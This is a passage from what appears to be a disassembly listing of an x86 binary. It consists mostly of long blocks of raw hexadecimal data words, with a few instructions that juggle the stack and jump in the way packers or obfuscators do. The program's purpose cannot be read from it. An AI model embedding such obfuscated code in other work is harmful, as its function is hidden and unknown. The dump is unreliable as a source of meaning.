0B913012Bh, 2E5F786Ch, 39928510h, 0B5h dd 73EB159Ah, 1C8E66h, 71E85C97h, 1B178968h, 196E4E7Eh dd 21B6AE86h, 0A1413CA1h, 0C65ACE55h, 0B20AC4D9h, 0ECC9A78Ah dd 1FB541C1h, 1C353290h, 4A534CE0h, 5A722A7Dh, 1641D44h dd 0F9D5DB15h, 0E17D6807h, 79FBF6F8h, 0C5FDD17Dh, 7FF7637Eh dd 0AD15975Ah, 668EB329h, 3F5C7DF4h, 0FC0BA0B9h, 692147F5h dd 0BC80648Ah, 21F2D6ACh, 54A9882h, 290B0000h, 0D4490F8Ch dd 1708D0CDh, 0D74F118Ah, 0E27D9C2h, 7009128Bh, 8516839Ah dd 603D58D3h, 84198698h, 267760FCh, 2E944A82h, 2A12FA89h dd 0EB155A79h, 118B6B76h, 641C8118h, 5247DFC8h, 0CAD31D9Fh dd 0AE2B47E9h, 445DD143h, 212B57h, 475C0000h, 33A0BE2Bh dd 41BF059Bh, 35BB1C36h, 0A8C438BBh, 5DC42Fh, 0D4CD6114h dd 2A9BC7h, 47EC0000h, 5E1EAE2Bh, 0B5EEB0BBh, 2BB24219h dd 35BD1A9Dh, 0C8D54A1Ch, 2CB9B729h, 0A64DA334h, 6500F411h dd 0EC9F8558h, 95366770h, 43AE2B47h, 9935EDB8h, 0DEDE90Bh dd 0D259715h, 13E3658Ch, 69933B5Dh, 0DEE0ECF5h, 0F89E5542h dd 0FA95E0EAh, 1CD2D412h, 0A84C49E2h, 88110DD3h, 0DB09C569h dd 12FA95F1h, 3F9FF4E3h, 2E94D207h, 0EEB94CA8h, 4AA92E46h dd 0BB2438C6h, 923AB438h, 0D1EBED4Ch, 9C5EB0Bh, 3D5E7BF7h dd 0D74AA7BBh, 42CD24CAh, 712F9F77h, 1502F282h, 0A6747076h dd 37F2D49Fh, 436C2ACh, 45F70000h, 0A8C53B60h, 7BF46C31h dd 0A3BB3D5Eh, 7AF36536h, 4753E5Fh, 0B1EAEF86h, 0FCA1342Fh dd 0B0EDEA84h, 0F2AB3428h, 6A508E3Eh, 5E12FA88h, 2B478E2Dh dd 9539EDAEh, 3641654Fh, 833F611Ch, 0EB630010h, 27C784Ah dd 0E82716Eh, 0A11B6312h, 80F3C4C4h, 0E0487270h, 9A3C1C35h dd 0DE2F9D54h, 826F03F6h, 706900EDh, 0FFF1FF81h, 5A61AC9Eh dd 4A068950h, 0C5000000h, 1FA19B2Eh, 0DC609306h, 3641BC06h dd 0B836B81Ch, 6774EA14h, 12B8E68Ch, 61C3642h, 42E60EE0h dd 30D189Ch, 8AA41615h, 0B53BE90Dh, 0C89A719h, 0F609AD8Fh dd 25391300h, 719DFBCh, 9B3579Ah, 7A6A8A17h, 378h, 0AE2B47CBh dd 21D9F43h, 71ED5F97h, 1943368h, 0F85F8549h, 0EC150363h dd 0C8EF9DBCh, 723060D9h, 13005348h, 9A549A3Ch, 5407C957h dd 6C81300h, 9B5B7CF4h, 507D5E46h, 179285ECh, 45h, 30830B73h dd 81706900h, 0FDE7C3FFh, 2E19B83Ch, 0D50BC39Bh, 1503724Ah dd 25C928AEh, 0D81B869Bh, 0AC12A054h, 6D130111h, 24B0CF8h dd 6892852Ah, 1D347E24h, 0BE301301h, 42BC32A7h, 0A249AD2Ah dd 103h, 0AE2B47F1h, 4158D143h, 7EF20CB2h, 0B1AF6161h dd 0E6EF7902h, 0F5809C0Eh, 35E205AFh, 11DF011Ch, 0E5F26EE2h dd 3B5ED7E9h, 0D6E8DEBBh, 36BA395Eh, 0A94851C8h, 5641CF27h dd 0B41C35E1h, 6F87140Ah, 237861FDh, 99912Bh, 41536FF1h dd 95FE94C5h, 61FD6F87h, 0DBEE7978h, 0CBFFCB03h, 3635AF15h dd 0F105AB1Ch, 3620463h, 0D6F6F815h, 21C6ECB2h, 69C01301h dd 70D3C499h, 926C7250h, 23F8FC99h, 35997144h, 0CCD3BA6Fh dd 2F44BA0Bh, 2BC547AAh, 9B0619A3h, 4F48E458h, 26CE20A4h dd 0D2764682h, 32000915h, 0E707C43Fh, 5F91A418h, 8D0C2597h dd 0D8D14810h, 52925C45h, 0E9A1C17Eh, 31EAD45Fh, 0F2000002h dd 0C63A6340h, 0EB6D2EABh, 0AC346974h, 67A23B4h, 6A316A6Fh dd 0F9E07911h, 5247DCA4h, 0FC999749h, 5C45D99Fh, 9F45893Fh dd 12FA8615h, 473F8411h, 3CF2AB2Eh, 0C32EABC2h, 273BB541h dd 2EF2E1BAh, 0D50BC39Bh, 1503724Ah, 961708B8h, 12FE9566h dd 47AA2CE2h, 11D17B9h, 674DD813h, 0D9C65862h, 0BE5E961Ah dd 92851E8Fh, 0CAD8h, 2B47B700h, 58D143AEh, 0FB738D41h dd 99716DEh, 1C36419Eh, 8815829Eh, 0B0435CD0h, 14B89023h dd 36B8FCEh, 0A53B8F15h, 1301121Fh, 0B361951Bh, 0C4CF702Dh dd 0F20CC00Ch, 1FA53B7Ah, 1B130112h, 0F2985B95h, 11306ACh dd 12DC0213h, 0C3AA4CE2h, 781E0BCCh, 36B3AA54h, 0D4589B38h dd 0E8CAB21Ah, 0ED051B52h, 0CF91668Eh, 83A34356h, 1AE9A174h dd 14EAF97h, 2D0F0000h, 0D04D1388h, 130CD4C9h, 0CB631586h dd 120BCDCEh, 6C1D1687h, 8912879Eh, 64395CD7h, 8815829Ch dd 5A435CD0h, 42881676h, 3612FA85h, 0B91526A5h, 3641A12Bh dd 4059D11Ch, 23952FB1h, 965E900Dh, 0F8C0D24h, 0CCD549h dd 7E7663FEh, 62FB05A9h, 47E07F77h, 0D143AE2Bh, 0A157445Dh dd 52DD148Dh, 0A13F8F47h, 15036D0Ah, 8B79781Eh, 552D2A1Ah dd 323715E0h, 0ED5F9793h, 94336871h, 5F854901h, 0BCD859Ch dd 0E95B9618h, 13856C75h, 1737E1Bh, 0E7E756Ch, 0F714D7BDh dd 0E7B2BEA6h, 2019F2Fh, 0F6150286h, 0F903ABF0h, 0D7F7762h dd 0F7698811h, 0E5F26C79h, 8D648A0Eh, 0B3462E9Fh, 0A23F32BFh dd 7A23CD4Fh, 1B12DAEDh, 0FFF1737Eh, 0B5342DCFh, 23CE20B9h dd 0D4C15FA1h, 0AF5B9B1Dh, 0CDB1BAF1h, 0C928AE0Bh, 33BEDB57h dd 0ECD845h, 0B3F1DDB5h, 1502DDF8h, 16B1EAECh, 0DD03CB83h dd 0BD831E7h, 5F7AF30Dh, 2EE41094h, 5BD749A8h, 879B5D3Eh dd 8933D71Ah, 65E70A97h, 83180391h, 0C8154DE6h, 0AC3529DCh dd 0ECF569EFh, 0FE9B9305h, 0AC9805F3h, 3F5C45D9h, 0B53CA5B9h dd 0FCDh, 0EB15FE00h, 71CA3B74h, 0F36F9A19h, 0C48FF9FDh dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 6C68685Dh dd 8F540000h, 4812404h, 424h, 0E3895300h, 4C381h, 0EB830000h dd 241C8704h, 242C895Ch, 6FBF68h, 243C8900h, 3BACD368h dd 242C8B09h, 5404C483h, 81243C8Bh, 4C4h, 359A6800h, 2C890000h dd 8478F24h, 5F2434FFh, 4C481h, 2C8B0000h, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 0F9C0BBE9h, 0C22402FFh dd 18DDD3h, 0ABB8122Ah, 3093BBDh, 0E8E0FFC5h, 8B2C310Bh dd 1726087Ah, 0FC5D1FEDh, 12745FE2h, 0BF4325BFh, 4A51BC90h dd 0BB02C05Ch, 0BC57BE6Ch, 4F076736h, 0C060FFA2h, 8D7E6A06h dd 3BBF248Dh, 48D0F09h, 66000000h, 895F98B8h, 3516298Dh dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0C99D31DEh, 60093504h, 1F1DBD89h, 5E560935h dd 7D85C761h, 2C093528h, 6600005Ah, 0C70E42BAh, 35225585h dd 9, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0FFE08D38h, 114E8720h, 0F5B5FFB6h dd 6A09352Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 5DE8C352h, 6970FA1Eh, 0FF34E422h dd 350D0595h, 11E909h, 6EE40000h, 0A353C7DCh, 0AFC87E0Eh dd 0AB1BE959h, 6A8031B5h, 2995FF00h, 8B093508h, 710DEBC0h dd 3FF26266h, 38A766DCh, 3B931896h, 11E8h, 0E162EF00h dd 384C4173h, 8E1B06C5h, 129E67B4h, 0B58BB4F9h, 9350191h dd 0E59D8B5Fh, 8109350Dh, 73C4C7h, 9D8B6000h, 93516C9h dd 31A98501h, 0B9610935h, 1CD0h, 1D92F681h, 37FF1473h dd 30B5BD89h, 0BB5A0935h, 5F4671ABh, 3475C281h, 8D896E56h dd 93506C9h, 1F67EA81h, 0DC8036D0h, 0B9C28151h, 530CB7B7h dd 0E1D850Bh, 895B0935h, 5AC68117h, 83624235h, 0E98304EFh dd 0BB850F01h, 81FFFFFFh, 0CCC3A9F6h, 7E80Dh, 0B0000h dd 14A51A67h, 0D2BF0FD6h, 0B5895258h, 935302Dh, 0DEC0815Fh dd 6000006Eh, 8BA850BAh, 0DB2B6143h, 6830Fh, 0BD8B0000h dd 93511B1h, 560334FFh, 1C85D281h, 595A2A77h, 0FCF78166h dd 5C1813Ah, 0E943D693h, 0Ah, 0C96696CEh, 657F6255h, 0C181009Eh dd 17A491B9h, 0E82CF181h, 0BD237720h, 9353041h, 0E9180C89h dd 0Ah, 0BF2F5534h, 32A40981h, 8957856Bh, 3503A98Dh, 0EB815E09h dd 54CDA8DEh, 0A8DAC381h, 0FB8154CDh, 0FFFF91BCh, 0FF96850Fh dd 9D89FFFFh, 9350195h, 0C13C8D8Dh, 6A093Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0EF9A78C3h dd 0B589B470h, 93516ADh, 16298D89h, 0C78B0935h, 287D85C7h dd 5F140935h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0F6409CC3h, 0B529040Bh, 93505CDh dd 225585C7h, 935h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0B3EE27C3h, 52D44CBDh dd 15B531h, 0FF580935h, 350041B5h, 0C5B58909h, 0FF09350Eh dd 350D0595h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 8074699Ah, 1958BB9h, 6A09350Ch, 2995FF00h dd 8B093508h, 2B2DEBC0h, 0BF522412h, 2595528Ah, 7B92ED3h dd 3E27E353h, 0F4CF924Fh, 982A6629h, 0E2242229h, 0CB209C7h dd 0D13083D8h, 25DC147Bh, 0AF18534h, 8EBh, 74D40000h, 9BE9574Dh dd 68000004h, 93BC258h, 0F9BD4FE9h, 0C2DB68FFh, 45E9093Bh dd 68FFF9BDh, 93BC42Fh, 0F9BD3BE9h, 298EACFFh, 6871EC74h dd 27B2AD33h, 6D6A0276h, 28B1A830h, 37D3A873h, 7E029B3Eh dd 35ABF0E5h, 7BFD9E3Bh, 0AFA1FAE7h, 80FBC1DFh, 0DEEF12FAh dd 0AB2E47DDh, 3F58D448h, 0DD56685Eh, 1EA93CB8h, 39588646h dd 9F150361h, 646AFAF9h, 2513011Eh, 9AF3D4C0h, 0D092851Ch dd 4EA6332Eh, 2E1A7h, 0A49E800h, 0DEE4FACEh, 0DA1C3641h dd 29520D4h, 0CD5C824Ah, 0EB150354h dd 9C8B59C5h, 83D81E0Ch, 2E745830h, 20B2DB4Fh, 43D023C5h dd 6E349870h, 179DFAC0h, 0C2273CBEh, 36BE30ADh, 22666688h dd 0CDEB8698h, 3531F82Dh, 2EA0549Ah, 80F8A532h, 5FF3F3ECh dd 7EDDEFFAh, 2F80BF3h, 4DEF0000h, 0B0AD3368h, 73EC7429h dd 0ABC33566h, 72EB6D2Eh, 0C7D3667h, 0A9F2E77Eh, 4993C37h dd 0A8F5E27Ch, 0FAA33C30h, 62687656h, 5612FA7Fh, 9B2E8645h dd 0D4B30BC3h, 0A6C8FF91h, 0EBF9A551h, 150C9C35h, 0AE3B37C9h dd 20CE20B5h, 801D12ACh, 6307EF71h, 29B7C059h, 12FB1BA3h dd 2190E397h, 0AC2737E3h, 34A5BC42h, 61FE1BAh, 0E00E8BA3h dd 550E8311h, 0E22DA8Eh, 0F4735591h, 872AE063h, 2759Fh dd 0E9CE6C00h, 0A8312CB4h, 0E7F26DF3h, 0AD2A42B6h, 0E8F168F0h dd 0F793E8B3h, 0BE425B7Eh, 0F56B30A5h, 0BB3D5E7Bh, 6F613AA7h dd 7F3B811Fh, 9E2F12FAh, 0C39B2E1Dh, 8343D50Bh, 3FC1150Dh dd 0B83CB722h, 9160863Ch, 435ED3EDh, 809B1DB3h, 95C12FAh dd 0BF0B421Bh, 0A75C928Bh, 26000001h, 0F3FE9B94h, 47DE8571h dd 0D143AE2Bh, 367C225Dh, 321C3641h, 416E548Ah, 446A1C36h dd 885744AAh, 2569653Dh, 0E115809Bh, 3640C53h, 73EE0015h dd 16839866h, 458B19D8h, 7513011Bh, 9E12E1F8h, 6EE21186h dd 8A0EE5F2h, 0F8C1B350h, 2C3021EDh, 325F91EDh, 535B245Ch dd 3D9AD49Ah, 5F786CB9h, 9285452Eh, 3839h, 0EB159A00h dd 0F78A6A77h, 0CAD8F4ACh, 1503725Bh, 64F4FFA1h, 13011162h dd 0F5D2C223h, 11C10B99h, 33B51301h, 29F21BC3h, 48789285h dd 0FA2998D6h, 0D48373D2h, 0A9h, 0AE2B47B3h, 4158D143h dd 22C00CB2h, 1C364198h, 70EA0A8Ch, 9C10E3FCh, 0B6861780h dd 1C3646C2h, 0B8E5F26Eh, 8C49C27h, 3CB8E1B8h, 0FBFB0C9Ah dd 0E9817B4Fh, 0E36E04F0h, 0A115016Ch, 0AFDC7DDh, 0F7F912FFh dd 322BD5F9h, 0EB82F6A7h, 9400F6EEh, 169DF2D6h, 1212Ch dd 9D3A1800h, 0FCE57800h, 5B46D99Fh, 31A6BE42h, 5C7DF46Ch dd 8307743Fh, 2AAEEFEAh, 81F7A431h, 37A9F2EFh, 4BFD9E3Bh dd 7D575D83h, 425312FAh, 892E4781h, 41159F45h, 8F111C36h dd 36416F55h, 7D456B1Ch, 0D9B57372h, 0DBC02E38h, 0B900925h dd 75EB1528h, 1E128C68h, 62FE7281h, 0C972875h, 0EF867854h dd 718507EAh, 0DAF17CDh, 1A71503h, 0D9E301CDh, 0CD1300F5h dd 4B7F2BCBh, 0D521B8B1h, 0C6D7C25Bh, 5247DEE0h, 0F5AA0CA2h dd 46DA1300h, 8B197559h, 1300F541h, 0F51BA13Fh, 890F1300h dd 6C41B53Bh, 955C7DF4h, 75ADh, 9B2EDE00h, 3FD50BC3h, 0BB150D83h dd 60E99935h, 0DEBA9F2Dh, 0E458D71Fh, 8A4E4F48h, 5AEA0996h dd 39057F0Fh, 12E5CF4Eh, 641C811Eh, 0B024CFC8h, 0A3362FB8h dd 0CF22CC50h, 0F58074E1h, 0E3FC7079h, 0AE155E10h, 0B0685354h dd 0A21CB03Eh, 3EE40F8Ch, 0E84B1AA0h, 66880EC4h, 2B47B98Eh dd 18A2408Ch, 0CC4E84Bh, 4B72588Ah, 4066C4E8h, 35B43AEh dd 0AC000000h, 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh dd 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h dd 565D2AC9h, 0C681E689h, 4, 8704EE83h, 895C2434h, 89562414h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 242C895Ch, 17AC68h dd 240C8900h, 4BC668h, 24048900h, 5900C768h, 86055844h dd 483D5E4Dh, 0E705D8F7h, 898AF30Fh, 0EC8358C5h, 24248904h dd 4240483h, 8BB5359h, 81000000h, 0DC5025EBh, 81CB0112h dd 0DC5025C3h, 5B2B8912h, 51240C8Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 2C8B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- db 4, 0B8h, 75h dd 3093BC5h, 2FE0FFC5h, 397AEF79h, 252AE25Fh, 8F2DA461h dd 2843C907h, 81EA5AEh, 7F3012B9h, 8B6FCE2Eh, 0CC4420DDh dd 9400B836h, 915B789h, 514E5D7Ch, 1E7E5h, 6D52328Ch, 6C783454h dd 1867440Ch, 9932A1E5h, 3530F918h, 5352951h, 0E769B6BDh dd 0E80620CFh, 0Ah, 7A5E04C3h, 6259A6C1h, 0EE8AE0DBh, 5830F5Ah dd 66000000h, 62B2C881h, 66DFC281h, 0B9520000h, 668D38Ah dd 0E9DB335Fh, 9, 22EE3478h, 0A722AA43h, 1A348BF4h, 0E061D181h dd 0C6816A53h, 0A3A6931h, 0C681C68Bh, 0D89CCE0h, 8157D180h dd 0F6AA73F6h, 0B3CF810Dh, 5675A060h, 0F1A048Fh, 28Ch dd 0B1FB8B00h, 3EB83CFh, 12E8h, 686EB800h, 977ABC58h, 5B7821A2h dd 67D38CD1h, 0FC963DB7h, 81FC4B58h, 0FF99B4FBh, 0A2850FFFh dd 66FFFFFFh, 0E81F19BFh, 5, 34F330F5h, 0FBBF663Bh, 0BE66598Bh dd 0C181A316h, 6E1Ah, 0BAF08B66h, 0 dd 9E9h, 50A7CE00h, 744458E0h, 48B70FDh, 8820F11h, 0F000000h dd 28Fh, 81616000h, 0E8817FF0h, 0A0C0810Bh, 0F5998F6h dd 0C081F6B7h, 210C5049h, 1F5327BBh, 1104890Dh, 83DBBF0Fh dd 0AE904EAh, 1D000000h, 24036B30h, 0B58A086Dh, 0B8FA81FAh dd 0FFFFF92h, 1985h, 4860F00h, 66000000h, 0E9FDA9BFh, 4Eh dd 303F767Ah, 0AEC827DDh, 0BE81157h, 64000000h, 1AD5467Eh dd 0B8CBC42Bh, 0E9604D2Ch, 0Eh, 14B4655Dh, 0B1220407h dd 9DB7C7C0h, 60BB507Bh, 611BB220h, 0FF68E95Eh, 0AF92FFFFh dd 0D7A9D423h, 54B357B0h, 81AD442Fh, 9ACCF1EFh, 0C08B714Bh dd 26A1BD83h, 75000935h, 79BD8309h, 93530h, 53501974h dd 21B8C08Bh, 89000004h, 352AC185h, 389D8D09h, 0FF0937B4h dd 83585BD3h, 353079BDh, 17740009h, 21B85350h, 89000004h dd 352AC185h, 279D8D09h, 0FF0937B1h, 8B585BD3h, 0E99D8BC0h dd 0C6093531h, 35179D85h, 52685609h, 0FF9CA8B8h, 35167DB5h dd 70858D09h, 0FF09387Bh, 68046AD0h, 1000h, 0DD1B5FFh dd 6A0935h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h, 3570998Dh dd 8BE1FF09h, 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h dd 2701BD83h, 0F000935h, 0E84h, 19D8B00h, 8B093527h, 3507E985h dd 51038909h, 3F858D52h, 0FF09357Ah, 8BFA8BD0h, 8BD18BF1h dd 0C6A4F3C8h, 35179D85h, 39685609h, 0FFD41F6Dh, 35167DB5h dd 70858D09h, 0FF09387Bh, 800068D0h, 6A0000h, 8BD0FF52h dd 0A1BD83C0h, 93526h, 0BD830975h, 9353079h, 50197400h dd 0B8C08B53h, 421h, 2CA98589h, 9D8D0935h, 937B49Fh, 585BD3FFh dd 3079BD83h, 74000935h, 0B8535017h, 421h, 2CA98589h, 9D8D0935h dd 937B140h, 585BD3FFh, 9D8DC08Bh, 9352701h, 0C00B038Bh dd 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h, 8E80000h, 0B4000000h dd 7DFCF83Ah, 80A59876h, 0F591EDCh, 0C181DEBFh, 6176h dd 0E0B5E0BEh, 0B5EE817Ah, 0B07AE09Dh, 0E931FFFBh, 14h dd 0B87E7E4Ch, 760074E9h, 0CDBDBA05h, 5314102Ch, 0A8FA269Eh dd 0FDF3BB5Fh, 0EF8116D7h, 7F2936F5h, 0F781C38Bh, 722D16EEh dd 0EF81C68Bh, 0E8092D1h, 74D88166h, 80398979h, 0E983D7E0h dd 12E904h, 66570000h, 0FD1ACF38h, 0EB33186h, 391589CEh dd 87C41763h, 0F01EE83h, 2985h, 0CB806000h, 6E85Dh, 0B6840000h dd 0A40A1678h, 10E03B9h, 0E9615847h, 2Dh, 0E68593A2h, 4E8E15ECh dd 9E93CD5Ah, 0AE9B7E6h, 14000000h, 605376A6h, 75489DB2h dd 0FF5FE9D7h, 0D598FFFFh, 50A1A8FCh, 635D579Ah, 3BE91Bh dd 8B600000h, 3522E5BDh, 4EF8309h, 0C18BC933h, 0B88320BBh dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 0FEC88BC3h dd 0B131FCAh, 4F9B9CA8h, 0B105A8Ah, 0EAD5ABA8h, 0B103275h dd 4F989AA8h, 0AE5DBA8Ah, 4F997757h, 0B11228Ah, 0EAD5ABA8h dd 0B11F575h, 4F99A5A8h, 0B16778Ah, 4F9E27A8h, 0B16E98Ah dd 0EAD5ABA8h, 0D42F2575h, 1C119F24h, 9BC1C003h, 90A75D93h dd 58998E70h, 0DF4DD121h, 0D42F4CB1h, 1C1198F9h, 9BC9C003h dd 90A75D93h, 58998923h, 0DF59D121h, 0D42F4CB1h, 1C1199A8h dd 9BD5C003h, 90A75D93h, 589988DFh, 0DF55D121h, 0D42F4CB1h dd 1C119931h, 9B21C003h, 90A75D93h, 58998868h, 0DFA1D121h dd 0D42F4CB1h, 1C119A8Bh, 9B2DC003h, 90A75D93h, 58998BEEh dd 0DFB9D121h, 0D42F4CB1h, 1C119A0Dh, 9B35C003h, 90A75D93h dd 58998B54h, 0DFB1D121h, 0B8C34CB1h, 152A5012h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 53C0D5F2h, 96AB7E41h, 152AA8EDh dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh dd 0EAD5BA41h, 0AE63CE75h, 2035653Ah, 53428483h, 0EA2211ABh dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 1C11BA62h, 1129475h dd 0DFA0D902h, 0AEAB7E64h, 51A1EC79h, 0DC0941AEh, 2EC49E22h dd 3773BA83h, 732ADF10h, 9B28C821h, 0EA236F46h, 152BFD5Bh dd 9881508Ch, 6A4C8F00h, 0A5FBABA1h, 2C89EFD2h, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 13C0D5F2h, 0DAAB7E46h, 68A15CDDh, 0ADE78286h, 152A54A8h dd 3430BACCh, 9E2361B3h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h dd 0DFA0D9F9h, 0AEAB7E64h, 949A0D79h, 551A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 15C23454h, 0BA2458Ah, 0D977BE29h, 24294CB1h, 1957DFA0h dd 515E004Dh, 532A54A8h, 4AC7D775h, 0CDA15D9Dh, 0FC69CE19h dd 0A5B9979Bh, 0FA31EFE2h, 0DFA0D9F9h, 0AEAB7E64h, 949A0D79h dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h dd 85E1D4A7h, 0DC088600h, 2EC49E22h, 0E173BA83h, 9FA7FEF8h dd 5899AB40h, 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0E9A2458Ah, 152A54AFh, 4E93D775h, 45265D9Dh, 9B28C820h dd 0EA236F46h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h dd 58975EEFh, 17868C23h, 0DB2FEF49h, 1C11BA62h, 0E9C49475h dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h, 1DE89D54h dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h dd 0EA80F8A8h, 64B92018h, 0B9E2DFA1h, 0DC088558h, 2EC49E32h dd 3771BA83h, 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0BF8654A8h, 4AC7D775h, 0DDA15D9Dh, 0FB637726h dd 0FBE0CE25h, 825D4CB1h, 0E4AAECCEh, 9028EEECh, 19577F02h dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 0DFB0D903h dd 0AEAB7E64h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 5899AB40h dd 0A09A8757h, 0FB0E0320h, 0FBE0CE25h, 825D4CB1h, 0D8ACECCEh dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah dd 3BC0D5F2h, 96AB7E45h, 152AA8EDh, 2429458Ah, 1957DFA0h dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h dd 0DF49CE25h, 0DCF14CB1h, 2EE16E32h, 0D871BA83h, 42C3A8EDh dd 0AEA2458Ah, 60D558DDh, 2238C882h, 46236F62h, 9A98DF07h dd 0C6D55D93h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh dd 58998FF5h, 2FB0D9FBh, 0AEAB7E41h, 0E96FDD7Bh, 51A25863h dd 195FABA8h, 0DCAA3075h, 2EE0DF32h, 0CB2F1683h, 1C119F92h dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h dd 0E9000030h, 2Ah, 2404C7h, 0E8000000h, 0 dd 0AED815Dh, 8B093BD0h, 89042444h, 3506C585h, 0B809h dd 8D8D0000h, 9354C02h, 54B8E1FFh, 8D000067h, 351BD99Dh dd 1434B809h, 85890000h, 93526D9h, 0E8h, 0D055800h, 89000000h dd 1434E903h, 50Dh dup(0) dd 16EB0000h, 5 dup(0) dd 3E40101h, 93B0000h, 11E950h, 7B980000h, 7DBD2ACDh, 0FE183B4Dh dd 0ABBCB760h, 896B4BC4h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 5A9487C3h, 6A73EBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C9C35747h, 25CDB589h dd 6A0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 4BC35242h, 0B70FB9F5h, 50858DCEh, 6A093BE6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0A7E3C355h, 122787EFh, 8AEE0C68h, 0F239E381h, 8D3139E2h dd 9350161h, 1DBA6690h, 0BF665079h, 6A90A604h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 28C3C353h, 97ED427Ch, 8D0FB7EFh, 16h, 11E9h, 0A2EB8B00h dd 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 6AE30Fh, 13E8h, 8C22C100h dd 0F0A6B6FAh, 0A6DA1897h, 0C36A72ACh, 393AD7E3h, 13E9h dd 3849E200h, 0A127EC58h, 0A0723295h, 765D9082h, 97EB1B8h dd 55DF805Ah, 0F52006Ah, 1488h, 0EE800h, 0B69F0000h, 1A5BAB71h dd 7F0BFF31h, 3C141B54h, 95FF5A5Bh, 9350331h, 1C25BD89h dd 66600935h, 6E9DE8Bh, 97000000h, 0C870B353h, 0CDE96101h dd 6A000005h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0A2DFC356h, 0F2378D19h, 